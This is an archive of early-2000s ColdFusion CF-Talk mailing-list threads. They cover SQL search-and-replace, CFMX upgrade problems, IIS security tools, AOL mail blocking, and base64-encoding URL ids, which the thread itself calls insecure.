contain the items I want to strip/replace.  And there may be up to 5 fields
in each table that may need to be searched.  I guess what I am looking for
is a solution that will do a search/replace on all fields in all tables in
the database.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: John Paul Ashenfelter [mailto:[EMAIL PROTECTED]]
Sent: Thursday, January 16, 2003 9:07 AM
To: CF-Talk
Subject: Re: SQL find and replace tool or roll my own in CF


Why wouldn't you use T-SQL? Easy enough to query the data and use the
REPLACE, PATINDEX,etc to remove the text you're after. That is *far* easier
than a CF app.

Regards,

John Paul Ashenfelter
CTO/Transitionpoint
[EMAIL PROTECTED]
- Original Message -
From: Mark W. Breneman [EMAIL PROTECTED]
To: CF-Talk [EMAIL PROTECTED]
Sent: Thursday, January 16, 2003 9:39 AM
Subject: SQL find and replace tool or roll my own in CF


 We are just about to start a major website redesign for one of our
clients.
 In the SQL 2000 database they have stored 3-5 page articles with url links
 referring to pages that will no longer have that name after the website
 redesign.  The second step we want to take is to remove all font tags that
 the client may have stored in the database.

 I am wondering if anyone has a tool that works well for searching and
 replacing the data stored in several tables or if I should write something
 in CF to do just that.

 Mark W. Breneman
 -Macromedia Certified ColdFusion Developer
 -Network / Web Server Administrator
   Vivid Media
   [EMAIL PROTECTED]
   www.vividmedia.com
   608.270.9770



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4




Can the native Oracle drivers on MX support an encrypted connection

2003-01-09 Thread Mark W. Breneman
Just looking for a simple yes or no before I go to a meeting later today.
Can the native Oracle drivers on MX support an encrypted connection?  Or in
other words, can the native MX drivers encrypt the communications between CF
server and the Oracle server?

Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4




Automated RDS file copy over SSL i.e. secure backup

2003-01-07 Thread Mark W. Breneman
I know that RDS was never made for this but, I am looking for a way to
securely copy down a database backup from a CF server.  I can browse to the
file via RDS on a SSL connection and copy/paste the file but, I am hoping
for some way to automate it, something like a command prompt or CFRDS tags.

Anyone see anything like this?

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: soXML help/question really needed

2003-01-06 Thread Mark W. Breneman
Hey, I am trying to solve the same problem.  It is good to know that there
is someone else having problems

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Eric Hoffman [mailto:[EMAIL PROTECTED]]
Sent: Monday, January 06, 2003 9:56 AM
To: CF-Talk
Subject: soXML help/question really needed


Okay,we have been using soxml to return the content from UPS to a cf
usable format.  Apparently this morning, they started sending everything
with UTF-8 encoding in the xml doc.  This makes action=XML2CF puke with
an encoding error.  Can anyone please point me to a workaround or how
its been dealt with in your experience?

Regards,

Eric J Hoffman
DataStream Connexion
www.datastreamconnexion.com
Delivering Creative Data Solutions




~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: soXML help/question really needed

2003-01-06 Thread Mark W. Breneman
Here is workaround.  Sorta of...
Try pointing to UPS development server
wwwcie.ups.com/ups.app/xml/TimeInTransit  rather then the production
server www.ups.com/ups.app/xml/TimeInTransit

I hate to do this but, it keeps the store up.

I this is not a fix.  I am still very much hoping to find a fix.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770



-Original Message-
From: Eric Hoffman [mailto:[EMAIL PROTECTED]]
Sent: Monday, January 06, 2003 9:56 AM
To: CF-Talk
Subject: soXML help/question really needed


Okay,we have been using soxml to return the content from UPS to a cf
usable format.  Apparently this morning, they started sending everything
with UTF-8 encoding in the xml doc.  This makes action=XML2CF puke with
an encoding error.  Can anyone please point me to a workaround or how
its been dealt with in your experience?

Regards,

Eric J Hoffman
DataStream Connexion
www.datastreamconnexion.com
Delivering Creative Data Solutions




~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: AOL? (Resolved?)

2002-12-19 Thread Mark W. Breneman
Is this a new issue?

I remember an AOL issue almost a year ago about cfmail being blocked by AOL
due to CF could be used as a Spam engine.  I did not verify that actually
happened or if it was just a rumor.

From what I remember you could use a  cfmailparam to change the id/name of
the mail generator in the header of the email.

Again, I did not verify that this works or if it was just a rumor.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Lee Fuller [mailto:[EMAIL PROTECTED]]
Sent: Thursday, December 19, 2002 1:42 PM
To: CF-Talk
Subject: RE: AOL? (Resolved?)


Did they say that they had implemented a change, or what they're doing?
This is completely irresponsible of a network administration to simply
implement something that could effect millions, without so much as a
warning, URL as to where we could find info... SOMEthing.

Completely insane

| -Original Message-
| From: Kris Pilles [mailto:[EMAIL PROTECTED]]
| Sent: Thursday, December 19, 2002 11:30 AM
| To: CF-Talk
| Subject: RE: AOL? (Resolved?)
|
|
| I am clueless about it
|
| I called AOL and their tech advised me to make RDNS entries
| for every domain then wait 24 hours and try again
|
|
|
| -Original Message-
| From: Lee Fuller [mailto:[EMAIL PROTECTED]]
| Sent: Thursday, December 19, 2002 2:26 PM
| To: CF-Talk
| Subject: RE: AOL? (Resolved?)
|
|
| Has anyone resolved the issue with AOL?  We are still
| completely unable to send email to any AOL addresses.  Our
| servers are not on any lists that we can find, and we RDNS perfectly.
|
|
|
|

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm



ColdFusion MX Updater Release 2. Issues???

2002-12-16 Thread Mark W. Breneman
Has anyone installed ColdFusion MX Updater Release 2?  Any new problem after
installing?

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm



MX Cfmail and bad address error

2002-12-16 Thread Mark W. Breneman
Has anyone found a fix for MX and invalid email address?  Looks like MX
throws an error if you try to send to an address like bobis[EMAIL PROTECTED]
The problem comes in where cfmail is in a middle of a mail list and stops
sending mail and forces you to fix the address and restart the list send
from the beginning.  Where CF 5 would just send the message and let it
bounce.

Note: I have not seen this personally.  A client is reporting this problem.

Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.



RE: MX Server installs and Microsoft Security Toolkits

2002-12-05 Thread Mark W. Breneman
Hey Dave,

Do you have any more info on URL scan specify about preventing URL
variables from being received by CF?  Is this only the case for extremely
long URLs or URLs that contain odd ASCII?

I am just about to deploy two new servers next week and I would hate to have
a problem with not being able to pass vars via url when we move the site on
to the new servers.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Dave Watts [mailto:[EMAIL PROTECTED]]
Sent: Thursday, December 05, 2002 1:07 PM
To: CF-Talk
Subject: RE: MX Server installs and Microsoft Security Toolkits


 Microsoft provides a whole bunch of Security Toolkits
 to help lock down a server. For example there is the
 Microsoft Baseline Security Analyzer. Some of these
 tools blindly goes in and locks down a bunch of stuff
 that you are not aware of.

You should be very reluctant to make blind changes with regard to
security. If you want to administer a server, you need to understand the
security ramifications of the default settings, and of the changes made to
secure the server. Server administration is not a trivial matter.

 Has anyone had problems running CFMX after applying
 security patches to Windows servers running IIS?

A common problem with CFMX, or any other application server, occurs when the
URLScan tool is installed. This tool is an input filter for IIS, and may
prevent .cfm requests from being handled correctly, or may prevent URL
variables from being received by CF.

Another problem may occur with the IIS Lockdown tool, which can remove all
ISAPI extension mappings from IIS. ISAPI extension mappings that are set up
by default in IIS are often vulnerable to exploits, and if you're not using
them, you should remove them (which is true of anything on a server,
actually). However, if you remove the ISAPI extension mapping for CF, IIS
won't be able to process CF pages.

 As for anything involving security, it is a matter of degree.
 How much can you lock down a box before CFMX stops working?

Exactly the right amount. What kind of answer were you expecting for this
question?

 If anyone has any white papers or other documentation on
 this subject, it would be appreciated. I noticed in the
 Security Section of the Macromedia that the white papers
 that still have the Allaire Logo stamped on them with
 dates such as 2001. Hope Macromedia is a little more
 serious about security than this. It does not help the
 CF cause.

As Jochem noted, very little has changed as far as CF is concerned, with
regards to security. Most security issues that you face when running a CF
server have little or nothing to do with CF, but rather with the security of
the server itself, and of the other services running on that server
(particularly IIS). The freshness of the logos doesn't make the information
more or less valid.

The only major items that are specific to CFMX, really, concern the sandbox
security model introduced in CFMX, which is pretty easy to figure out and to
use, and which is covered in the CFMX documentation, I think.

There's plenty of documentation out there on all these topics, also.
Unfortunately, it's not all in one place, really; CF information is provided
by Macromedia, IIS information by Microsoft, general web application
security information by others, and so on. Fig Leaf Software offers a
one-day seminar on securing CF servers running Windows, if you're interested
in that. Information is available at http://training.figleaf.com/. There are
plenty of books and online references available, also.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/
voice: (202) 797-5496
fax: (202) 797-5444


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm



simple encode ???

2002-11-22 Thread Mark W. Breneman
Does anyone have a simple way of encoding a url var?  What I am looking for
is to keep the string as short as possible and to make sure you can not just
increment a value and get a different database record?  I am not looking to
make the values uncrackable, just not worth the effort to decode.

I tried Encrypt but it makes the url very long.


What I love to see would look some thing like this:
Url before:
www.somename.com/index.cfm?id=234
www.somename.com/index.cfm?[EMAIL PROTECTED]

Url after:
www.somename.com/index.cfm?hU54JyF54
www.somename.com/index.cfm?JuYhYt54DFerDFhUhtJK076jNHbGFRFn

thanks

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm



RE: simple encode ???

2002-11-22 Thread Mark W. Breneman
That is exactly what I want.

It is not secure, but it is slightly sneaky.  :-)

Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Rob Rohan [mailto:[EMAIL PROTECTED]]
Sent: Friday, November 22, 2002 2:05 PM
To: CF-Talk
Subject: RE: simple encode ???


If you really are not that concerned with security you can do

#toBase64(id=123)#

to encode and

#toString(toBinary(toBase64(id=123)))#

to decode. Totally insecure, but kind of sounds like what you want.

Rob

Certified Organic
When you put things in quotes, people think someone actually said it.
http://treebeard.sourceforge.net
http://ruinworld.sourceforge.net
Scientia Est Potentia

-Original Message-
From: Mark W. Breneman [mailto:[EMAIL PROTECTED]]
Sent: Friday, November 22, 2002 11:38 AM
To: CF-Talk
Subject: simple encode ???


Does anyone have a simple way of encoding a url var?  What I am looking for
is to keep the string as short as possible and to make sure you can not just
increment a value and get a different database record?  I am not looking to
make the values uncrackable, just not worth the effort to decode.

I tried Encrypt but it makes the url very long.


What I love to see would look some thing like this:
Url before:
www.somename.com/index.cfm?id=234
www.somename.com/index.cfm?[EMAIL PROTECTED]

Url after:
www.somename.com/index.cfm?hU54JyF54
www.somename.com/index.cfm?JuYhYt54DFerDFhUhtJK076jNHbGFRFn

thanks

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm



DevCon MX class

2002-10-09 Thread Mark W. Breneman

I am interested in what happens inside CFMX when you request a file. .cfm =
class. Anyone know of a session/class at devcon that looks at CFMX under
the hood?  And maybe a little bit about the wsconfig.jar file too.

Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: http://www.houseoffusion.com/index.cfm?sidebar=listsbody=lists/cf_talk
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm



Problems with CFMX?

2002-10-08 Thread Mark W. Breneman

I have been watching threads like LONG time CF Supporter - About ready to
dump CF and CFMX - I've never seen anything so unstable in my life over
the past few weeks.  What has me concerned is this next few weeks I am going
to upgrade a fairly large site to CFMX.  The site currently runs CF 5 and MS
SQL 2000.  Are there a large number of problems with CFMX that I should know
about?  Luckily I have a few weeks to play with the new servers before they
go live.

Any ETA on a CFMX .1 update?  (is one needed)

Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: http://www.houseoffusion.com/index.cfm?sidebar=listsbody=lists/cf_talk
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm



RE: Problems with CFMX?

2002-10-08 Thread Mark W. Breneman

Thanks,

The only flag that goes up for me is the large file issue.  Can you
elaborate a bit on that.
Does CFMX hang or run the file slow?
How are you defining ~850 lines?

I guess I never considered 850 lines to be big.  Years ago I would get Mega
HTML forms from the dream weaver guys that were about 1150 before I started.
(I do not miss those days) Most every thing today is 300 - 500 lines


Thanks again

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770


-Original Message-
From: Rob Rohan [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, October 08, 2002 11:46 AM
To: CF-Talk
Subject: RE: Problems with CFMX?


Hi Mark,
We have a very large site, and have had a few problems.

Here are some other thing you need to watch for / problems we had/have:

1. MX can not handle large .cfm files. By large I mean  ~850 lines of code
2. You could have some issues if you use fusebox methodology.
3. Jacked up database connections - I believe these are due to the fact
that MS doesn't have a SQL *7* JDBC Driver. Since you are using SQL2000 they
have native JDBC drivers so you *might* not have issues.
4. Sloppy code
5. XSL transformations can not have variables passed into them

On the plus side:
MX does XML building really, really cool and in a groovy way
Once complied the feel of MX is quite snappy.
Debugging is rad - especially if you know Java
CFC are cool
in cfscript you can use normal tags!

Cheers,
Rob


-Original Message-
From: Mark W. Breneman [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, October 08, 2002 9:32 AM
To: CF-Talk
Subject: Problems with CFMX?


I have been watching threads like LONG time CF Supporter - About ready to
dump CF and CFMX - I've never seen anything so unstable in my life over
the past few weeks.  What has me concerned is this next few weeks I am going
to upgrade a fairly large site to CFMX.  The site currently runs CF 5 and MS
SQL 2000.  Are there a large number of problems with CFMX that I should know
about?  Luckily I have a few weeks to play with the new servers before they
go live.

Any ETA on a CFMX .1 update?  (is one needed)

Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: http://www.houseoffusion.com/index.cfm?sidebar=listsbody=lists/cf_talk
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm



RE: Return a Sub-Query as a Comma Delimited List

2002-10-08 Thread Mark W. Breneman

You may want to look at this
http://www.sqlteam.com/item.asp?ItemID=2368

I tried this a few weeks ago. Seems that it needs to be a stored procedure
to run. I was looking for a solution that involved a simple query.  But, it
may help you.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Haggerty, Mike [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, October 08, 2002 1:32 PM
To: CF-Talk
Subject: Return a Sub-Query as a Comma Delimited List


The subject line says it all... I am writing a query for MS SQL Server and
need to return a comma delimited list of values from a subquery in the
select statement. Anyone know a way to do this?

For instance, I have a tasks table, a users table, and a reference table
linking multiple users to tasks. I want each row of the results to display
the task title along with a comma delimited list of the names of users
assigned to the task.

Normally, this is something I would do in CF by grouping the output, but in
this instance it is important to return the results without grouping them.

Any help is appreciated, thanks,

M


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: http://www.houseoffusion.com/index.cfm?sidebar=listsbody=lists/cf_talk
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm



OT topics and posts about OT topics

2002-10-04 Thread Mark W. Breneman

Seems like there are more posts about Off topic posts and also the off
topic posts them selves on this list than ever before.  While I enjoy OT
post as much as anyone, I highly value this list for its on topic info.

My idea is a voting system where after about 20 or so list member votes, via
a link at the bottom of all of the posts, would cause the thread to be moved
to another list or to block the topic entirely.  This idea is just another
way that this list could police itself. I have brought the idea up once
before, and this will be the last time I bring it up.

Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: http://www.houseoffusion.com/index.cfm?sidebar=listsbody=lists/cf_talk
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.



OTG ApplicationXtender and ColdFusion

2002-10-02 Thread Mark W. Breneman

Anyone out there have any experience good or bad with using OTG
ApplicationXtender with coldfusion?



Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: http://www.houseoffusion.com/index.cfm?sidebar=listsbody=lists/cf_talk
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.



encode an image into a .cfm inline

2002-09-30 Thread Mark W. Breneman

Does anyone have any ideas on if it is possible to encode an image into a
cfm?  My guess it that it is impossible... but, thought I would ask.

I have a graphic ruler that is included in the bottom of all of my pages via
onrequestend.cfm only if a cookie vale is set to active. I develop on
several servers and often off line as well.  I would like to have this ruler
available anytime any where.  Is there a way of encoding the graphic
inline in the .cfm file?

I guess I could make a ruler with a HTML table...

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

__
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: encode an image into a .cfm inline

2002-09-30 Thread Mark W. Breneman

I guess I did not describe this too well.  The Rule is a graphic image (a
gif in this case) of a Ruler that helps me relate to people using lower
resolutions.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Gyrus [mailto:[EMAIL PROTECTED]]
Sent: Monday, September 30, 2002 1:54 PM
To: CF-Talk
Subject: Re: encode an image into a .cfm inline


- Original Message -
From: Mark W. Breneman [EMAIL PROTECTED]
 Does anyone have any ideas on if it is possible to encode an image into a
 cfm?  My guess it that it is impossible... but, thought I would ask.

 I have a graphic ruler that is included in the bottom of all of my pages
via
 onrequestend.cfm only if a cookie vale is set to active. I develop on
 several servers and often off line as well.  I would like to have this
ruler
 available anytime any where.  Is there a way of encoding the graphic
 inline in the .cfm file?

 I guess I could make a ruler with a HTML table...


Not totally sure of what you're after, but the first thing that springs to
mind is the hr / tag. But you say ruler, not rule, and mention a HTML
table... Could you be more specific?

- Gyrus


- [EMAIL PROTECTED]
work: http://www.tengai.co.uk
play: http://www.norlonto.net
- PGP key available



__
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: encode an image into a .cfm inline

2002-09-30 Thread Mark W. Breneman

That is close to what I already have.

Let me re-ask the question. Is there a way to not link to a graphic but
rather include the raw code of the image?

I am looking for a way to not have Ruler.gif in every folder and on every
site I work on.  (I may work on 20 - 30 sites a year.)

What I am hoping for is some thing like:
img src=
yOya JFIF   ` `  y? LEAD Technologies Inc. V1.01 yU  
4@.04LCPOKCIHT_yfTYr[HIi?jr}Qe.Y
zy.?,,WIW,,yAc
      }
!1AQaq2?'!#B?ARN?$3br,

__
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: encode an image into a .cfm inline

2002-09-30 Thread Mark W. Breneman

Yes, that is the idea.

I think I will stick with an easer method like your idea. (customtag to add
that image to every directory)


Just wanted to see if anyone had done this and if it was as easy as
something like:

img src=unBase64(KJGAKJGAYSGDABakBdBKadLBcHJLCLATD
hsflahflblLJKHAUIHFAKLBACHUAsdlNBy...)

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Jochem van Dieten [mailto:[EMAIL PROTECTED]]
Sent: Monday, September 30, 2002 2:37 PM
To: CF-Talk
Subject: Re: encode an image into a .cfm inline


Mark W. Breneman wrote:
 That is close to what I already have.

 Let me re-ask the question. Is there a way to not link to a graphic but
 rather include the raw code of the image?

Perhaps. I have never tried to make one, but if you start messing with
cfcontent and cfheader until you send a multipart/related document with
the image inline it might work. Something like email with inline images
(for which Outlook uses IE to display them, so it should be possible).
And wasn't there some Nimda that did that to make the page request a
file that was actually piggybagged but could then be executed with local
permissions?

It will be a hell of a job, but in theory it could work.


 What I am hoping for is some thing like:
 img src=
 yOya JFIF   ` `  y? LEAD Technologies Inc. V1.01 yU  
 4@.04LCPOKCIHT_yfTYr[HIi?jr}Qe.Y

zy.?,,WIW,,yAc
       }
 !1AQaq2?'!#B?ARN?$3br,
 

More like (just brainstorming):

cfcontent
cfheader
cfheader
cfheader
cfheader    Boundary

Boundary
Content-type: text/HTML

html
...
img src=cid:22553-23452352-235452-253525;
...
/html

Boundary
Content-type: image/gif
Conten-ID: 22553-23452352-235452-253525
Content-Transfer-Encoding: Base64

KJGAKJGAYSGDABakBdBKadLBcHJLCLATD
hsflahflblLJKHAUIHFAKLBACHUAsdlNBy
gkk==

Boundary--

IRL, even writing a customtag to add that image to every directory and
later removing it is a better idea.

Jochem


__
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: Filemaker faults to win a bid for using CF

2002-09-25 Thread Mark W. Breneman

Question:  Are we talking about using Filemaker as a datasorce or using its
Application Server / webserver features in place ColdFusion?

I worked with Filemaker 4 when they first added the web stuff.  I could
never get the hang of it. It had limitations and a few bugs.  One bug I can
recall was that you could not have your images in a subfolder, they needed
to be at the root.  One other oddity was the web interface simply issued
commands to the FileMaker front end. So, you could watch the searches take
place like a ghost user was running FileMaker. I am sure they fixed many of
the issues. Remember last I tried to use it for web stuff was version 4.
Now they are on version 6.


If you are looking for reasons to not use it as an Application Server /
webserver:

1.) Performance or lack there of.
2.) Very Few developers
3.) Long development time (more $ in the long run)
4.) Very poor scalability

Again this is based on old experience.




-Original Message-
From: Trey Rouse [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, September 25, 2002 11:34 AM
To: CF-Talk
Subject: RE: Filemaker faults to win a bid for using CF


It better be a fairly small application cause it doesn't scale well at
all.

 -Original Message-
 From: Kodjo Ackah [mailto:[EMAIL PROTECTED]]
 Sent: Tuesday, September 24, 2002 9:00 AM
 To: CF-Talk
 Subject: Filemaker faults to win a bid for using CF

 I need some strong points on the shortcomings of filemaker to win a
bid
 to use CF.
 Any bright ideas?

 Kodjo Ackah
 Principal Consultant
 Concrete Media Ltd
 32 Great Sutton Street
 Clerkenwell
 London, EC1V 0DX

 Tel:+44 (0)20 7251 8090
 Fax: +44 (0)20 7251 8780
 Mobile: +44 (0)7748 79 1038

 Office Location:
 http://www.streetmap.co.uk/streetmap.dll?G2M?X=531852Y=182204A=YZ=1





__
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: IDE for the Mac...?

2002-09-24 Thread Mark W. Breneman

Take a long look at BBedit.  One of the programmers in the office uses it.
WOW is all I can say.  I wish CFstudio had 1/2 of the features.  One that I
find very impressive is how the Snippets work.  The snippets can have vars
in them like :date/time: and :selected text:.  Oh, and a very cool undo
find and replace feature.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
